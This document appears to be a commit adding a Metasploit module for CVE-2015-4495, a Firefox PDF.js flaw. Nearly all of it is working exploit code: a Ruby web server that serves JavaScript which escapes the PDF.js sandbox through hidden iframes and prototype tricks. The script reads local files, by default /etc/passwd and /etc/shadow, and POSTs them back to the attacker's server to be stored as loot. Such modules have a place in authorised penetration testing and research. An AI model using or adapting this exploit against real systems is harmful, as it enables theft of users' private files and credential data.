Add exploit for CVE-2015-4495, Firefox PDF.js
Tod Beardsley
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677ec341dd
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e4cb6872f2
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Auxiliary::Report
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Firefox PDF.js Browser File Theft',
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'Description' => %q{
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This module abuses an XSS vulnerability in versions of Firefox 39.0.3, Firefox ESR
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before 38.1.1, and Firefox OS before 2.2 that allows arbitrary files to be stolen.
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The vulnerability occurs in the PDF.js component, which uses Javascript to render
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a PDF inside a frame with privileges to read local files. The in-the-wild malicious
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payloads searched for sensitive files on Windows, Linux, and OSX. Android versions
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are reported to be unaffected, as they do not use the Mozilla PDF viewer.
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},
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'Author' => [
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'Unknown', # From an 0day served on Russian news website
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'fukusa', # Hacker news member that reported the issue
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'Unknown' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Actions' => [[ 'WebServer' ]],
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'PassiveActions' => [ 'WebServer' ],
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'References' =>
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[
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['URL', 'https://paste.debian.net/290146'], # 0day exploit
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['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer
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['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'],
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['CVE', '2015-4495']
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],
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'DefaultAction' => 'WebServer'
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))
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register_options([
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OptString.new('FILES', [
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false,
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'Comma-separated list of files to steal',
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'/etc/passwd, /etc/shadow'
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])
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], self.class)
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register_advanced_options([
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OptInt.new('PER_FILE_SLEEP', [
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false,
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'Milliseconds to wait before attempting to read the frame containing each file',
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250
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])
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], self.class)
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end
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def run
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print_status("File targeted for exfiltration: #{JSON.generate(file_urls)}")
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exploit
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end
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def on_request_uri(cli, request)
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if request.method.downcase == 'post'
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print_status('Got POST request...')
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process_post(cli, request)
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send_response_html(cli, '')
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else
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print_status('Sending exploit...')
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send_response_html(cli, html)
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end
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end
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def process_post(cli, req)
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name = req.qstring['name']
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print_good "Received #{name}, size #{req.body.bytes.length}..."
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output = store_loot(
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name || "data", "text/plain", cli.peerhost, req.body, "firefox_theft", "Firefox PDF.js exfiltrated file"
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)
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print_good "Stored to #{output}"
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end
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def html
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exploit_js = js+file_payload+"}, 20);"
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"<!doctype html><html><body><script>#{exploit_js}</script></body></html>"
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end
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def backend_url
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proto = (datastore["SSL"] ? "https" : "http")
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myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
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port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
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"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
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end
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def file_payload
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%Q|
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var files = (#{JSON.generate(file_urls)});
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function next() {
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var f = files.pop();
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if (f) {
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get("file://"+f, function() {
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var data = get_data(this);
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var x = new XMLHttpRequest;
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x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%"));
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x.send(data);
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}, #{datastore['PER_FILE_SLEEP']}, "%URL%", f);
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setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200);
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}
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}
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next();
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end
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def file_urls
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datastore['FILES'].split(',').map(&:strip)
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end
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def js
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<<-EOJS
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function xml2string(obj) {
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return new XMLSerializer().serializeToString(obj);
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}
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function __proto(obj) {
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return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
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}
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function get(path, callback, timeout, template, value) {
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callback = _(callback);
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if (template && value) {
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callback = callback.replace(template, value);
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}
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js_call1 = 'javascript:' + _(function() {
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try {
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open("%url%", "_self");
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} catch (e) {
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history.back();
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}
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undefined;
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}, "%url%", path);
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js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
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sandboxContext(_(function() {
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p = __proto(i.contentDocument.styleSheets[0].ownerNode);
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l = p.__lookupSetter__.call(i2.contentWindow, 'location');
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l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
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}));
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setTimeout((function() {
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sandboxContext(_(function() {
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p = __proto(i.contentDocument.styleSheets[0].ownerNode);
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l = p.__lookupSetter__.call(i2.contentWindow, 'location');
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l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
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}));
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}), timeout);
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}
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function get_data(obj) {
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data = null;
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try {
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data = obj.document.documentElement.innerHTML;
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if (data.indexOf('dirListing') < 0) {
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throw new Error();
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}
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} catch (e) {
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if (this.document instanceof XMLDocument) {
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data = xml2string(this.document);
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} else {
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try {
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if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
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data = this.document.body.firstChild.textContent;
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} else {
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throw new Error();
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}
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} catch (e) {
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try {
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if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
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return null;
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} else {
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throw new Error();
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}
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} catch (e) {
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;;
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}
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}
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}
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}
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return data;
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}
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function _(s, template, value) {
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s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
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s = s.substring(0, s.length - 1);
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if (template && value) {
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s = s.replace(template, value);
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}
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s += __proto;
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s += xml2string;
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s += get_data;
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s = s.replace(/\\s\\/\\/.*\\n/g, "");
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s = s + ";undefined";
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return s;
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}
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function get_sandbox_context() {
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if (window.my_win_id == null) {
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for (var i = 0; i < 20; i++) {
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try {
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if (window[i].location.toString().indexOf("view-source:") != -1) {
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my_win_id = i;
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break;
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}
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} catch (e) {}
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}
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};
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if (window.my_win_id == null)
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return;
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clearInterval(sandbox_context_i);
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object.data = 'view-source:' + blobURL;
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window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
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object.data = 'data:text/html,<'+'html/>';
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window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
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'"position:absolute; left:-9999px;" onload = "'+_(function(){
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window.wrappedJSObject.sandboxContext=(function(cmd) {
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with(importFunction.constructor('return this')()) {
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return eval(cmd);
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}
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});
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}) + '"/>');
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}
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var i = document.createElement("iframe");
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i.id = "i";
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i.width=i.height=0;
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i.style='position:absolute;left:-9999px;';
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i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
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document.documentElement.appendChild(i);
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i.onload = function() {
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if (this.contentDocument.styleSheets.length > 0) {
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var i2 = document.createElement("iframe");
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i2.id = "i2";
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i2.width=i2.height=0;
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i2.style='position:absolute;left:-9999px;';
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i2.src = "data:application/pdf,";
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document.documentElement.appendChild(i2);
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pdfBlob = new Blob([''], {
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type: 'application/pdf'
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});
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blobURL = URL.createObjectURL(pdfBlob);
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object = document.createElement('object');
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object.data = 'data:application/pdf,';
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object.onload = (function() {
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sandbox_context_i = setInterval(get_sandbox_context, 200);
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object.onload = null;
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object.data = 'view-source:' + location.href;
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return;
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});
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document.documentElement.appendChild(object);
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} else {
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this.contentWindow.location.reload();
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}
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}
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var kill = setInterval(function() {
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if (window.sandboxContext) {
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clearInterval(kill);
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} else {
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return;
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}
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EOJS
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end
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end
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